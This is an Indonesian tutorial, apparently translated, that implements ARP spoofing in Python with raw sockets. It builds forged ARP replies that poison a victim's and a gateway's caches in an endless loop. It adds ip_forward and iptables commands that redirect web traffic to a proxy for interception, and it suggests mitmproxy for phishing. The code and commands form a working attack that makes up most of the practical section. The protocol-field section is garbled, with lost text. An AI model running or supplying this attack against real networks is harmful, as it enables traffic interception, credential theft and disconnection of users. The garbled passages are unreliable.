Menerapkan Spoofing ARP dengan Python

pengantar



Pada artikel ini, saya ingin menunjukkan bagaimana Anda dapat mengimplementasikan program spoofing ARP Anda sendiri dengan Python. Sudah ada ribuan implementasi, tetapi hampir semuanya menggunakan pustaka Scapy dan beberapa metode. Mungkin pustaka ini lebih efisien untuk digunakan, saya tidak membantah, tetapi saya tertarik untuk mengimplementasikannya sendiri menggunakan soket dan saya ingin memberi tahu pembaca bagaimana ini dilakukan.



Diasumsikan bahwa Anda sudah terbiasa dengan cara kerja protokol ARP dan kerugiannya, jika tidak, maka saya menyarankan Anda untuk membaca artikel ini .



Saya bukan spesialis Keamanan Informasi yang berkualifikasi tinggi, jadi saya meminta Anda untuk tidak membuang sandal Anda, tetapi untuk menjelaskan ketidakakuratan dalam komentar.



Sedikit teori



Mari kita mulai dengan fakta bahwa kode protokolnya adalah \ x08 \ x06 dan bekerja pada lapisan OSI kedua, yaitu saluran satu.



Maka Anda perlu membiasakan diri dengan tubuh paketnya untuk mengetahui apa yang harus dikirim. Di wikipedia tertulis dengan sangat baik:



Isi paket
Hardware type (HTYPE)

, . , Ethernet 0x0001.

Protocol type (PTYPE)

. , IPv4 0x0800.

Hardware length (HLEN)

. Ethernet 6 (0x06).

Protocol length (PLEN)

. IPv4 4 (0x04).

Operation

: 0x0001 0x0002 .

Sender hardware address (SHA)

.

Sender protocol address (SPA)

.

Target hardware address (THA)

. .

Target protocol address (TPA)

.



Sekilas, ini mungkin tampak sulit, tetapi jika Anda mengetahuinya, maka masalah seharusnya tidak muncul.

Jadi, yang pertama - Jenis Perangkat Keras (Jenis Perangkat Keras) bagi kami adalah Ethernet, jadi kodenya adalah 0x0001 atau \ x00 \ x01 , Jenis Protokol (Jenis protokol) - IPv4, dikodekan sebagai \ x08 \ x00 ; kemudian muncul panjang jenis perangkat keras dan protokol \ x06 \ x04 , yaitu 6 dan 4 byte.

Dan pada akhirnya kami memiliki kode operasi, yang dalam kasus permintaan adalah \ x00 \ x01 , dan dalam kasus respons \ x00 \ x02 dan alamat fisik / logis pengirim / penerima.



Penerapan



Pertama-tama, Anda perlu mendeklarasikan instance socket dan mengatur parameter yang diperlukan:



import socket
import time

interface = "wlan0"  #   
mac = b"\xbb\xbb\xbb\xbb\xbb\xbb"  #  MAC-,   bb:bb:bb:bb:bb:bb

gateway_ip = socket.inet_aton("192.168.1.1")  # IP- 
gateway_mac = b"\xaa\xaa\xaa\xaa\xaa\xaa"  # MAC- 

victim_ip = socket.inet_aton("192.168.1.2")  # IP- 
victim_mac = b"\xcc\xcc\xcc\xcc\xcc\xcc"  # MAC- 

connect = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(0x0800))
connect.bind((interface, socket.htons(0x0800)))


Dengan asumsi ARP adalah protokol OSI Layer 2, kami menggunakan socket.PF_PACKET sebagai parameter pertama. Anda juga membutuhkan hak root agar program dapat bekerja.



Metode socket.htons () mengubah bilangan asli 16-bit menjadi urutan byte jaringan.



Metode socket.inet_aton () mengubah alamat IPv4 menjadi biner 32-bit.



Saya juga menyatakan variabel yang dibutuhkan.



Tahap selanjutnya adalah pembentukan paket:



arp_code = b'\x08\x06'  #  
htype = b'\x00\x01'  # Hardware Type
ptype = b'\x08\x00'  # Protocol Type
hlen = b'\x06'  # Hardware Length
plen = b'\x04'  # Protocol Length
operation = b'\x00\x02'  # Operation Code - 

protocol = htype + ptype + hlen + plen + operation  #  

#       ,       
eth_packet_1 = victim_mac + mac + arp_code
eth_packet_2 = gateway_mac + mac + arp_code

#      
# 4     4    ,    
request_victim = eth_packet_1 + protocol + mac + gateway_ip + victim_mac + victim_ip
request_gateway = eth_packet_2 + protocol + mac + victim_ip + gateway_mac + gateway_ip

#   
while True:
    connect.send(request_victim)
    connect.send(request_gateway)
    time.sleep(1)


Sekarang kami hanya menganalisis program itu sendiri, tetapi jika Anda ingin tidak hanya memutuskan pengguna dari gateway, tetapi juga mengganti / mengendus paket, maka untuk ini Anda perlu mengaktifkan penerusan di ip_forward:



echo 1 > /proc/sys/net/ipv4/ip_forward


Dan juga konfigurasikan perutean paket melalui iptables:



iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080


Jika Anda ingin melakukan phishing, utilitas mitmproxy adalah pilihan terbaik .

Anda dapat melihat lalu lintas yang melewati Anda menggunakan utilitas tcpdump .



Juga di GitHub saya, saya menerbitkan skrip yang dirancang untuk memutuskan semua atau beberapa node dari gateway - github.com/secwayz/netbuster



Sebagai hasil dari penulisan program, saya menemukan bahwa bahkan dengan kode operasi 0x0001(request) dan dengan semua parameter dari respon (mereka sedikit berbeda), korban masih menerima paket dan mengubah alamat MAC di tabel ARP, sementara stabilitas serangan dan kekuatan entri ini meningkat secara signifikan. Saya kira ini adalah kelemahan lain dalam protokol, di mana antarmuka jaringan tidak mengabaikan paket yang salah disusun, tetapi memprosesnya dan menimpa tabel.



All Articles